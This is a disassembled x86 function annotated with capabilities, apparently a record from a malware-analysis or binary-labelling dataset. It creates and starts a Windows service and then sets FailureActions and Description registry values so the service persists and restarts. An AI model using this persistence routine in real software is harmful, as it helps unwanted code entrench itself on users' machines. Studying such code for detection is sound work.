Function at 0x405080
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a1d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x248
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push 0xf003f
push ebx
push ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x44], esi
jne 0x4050d7
lea eax, [ebp - 0x4c]
push 0x40e188
push eax
mov dword [ebp - 0x4c], 1
call sub.MSVCRT.dll__CxxThrowException
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x253]
mov byte [ebp - 0x254], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x410b98
lea ecx, [ebp - 0x254]
push str.__s_
push ecx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [ebp - 0x254]
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
push 2
push 0x10
push 0xf01ff
push 0x40f858
push 0x40f754
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
mov dword [0x410da0], eax
jne 0x405184
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x405184
push 0xf01ff
push 0x40f754
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, ebx
mov dword [0x410da0], eax
jne 0x40517b
lea eax, [ebp - 0x48]
push 0x40e188
push eax
mov dword [ebp - 0x48], 1
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x4052cf
ret
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x14f]
mov byte [ebp - 0x150], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x150]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x150]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40f754
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x150]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], bl
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x38], bl
mov byte [ebp - 0x37], bl
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x35], bl
mov byte [ebp - 0x34], 3
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], 1
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], bl
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], bl
mov byte [ebp - 0x24], 1
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], bl
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [ebp - 0x40]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 1
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], bl
call esi
push 0x40f95c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x14]
push eax
push 0x40f95c
push 1
push ebx
push str.Description
push ecx
call esi
jmp 0x4052d1
mov eax, dword [ebp - 0x44]
cmp eax, ebx
je 0x4052df
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x4052ed
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret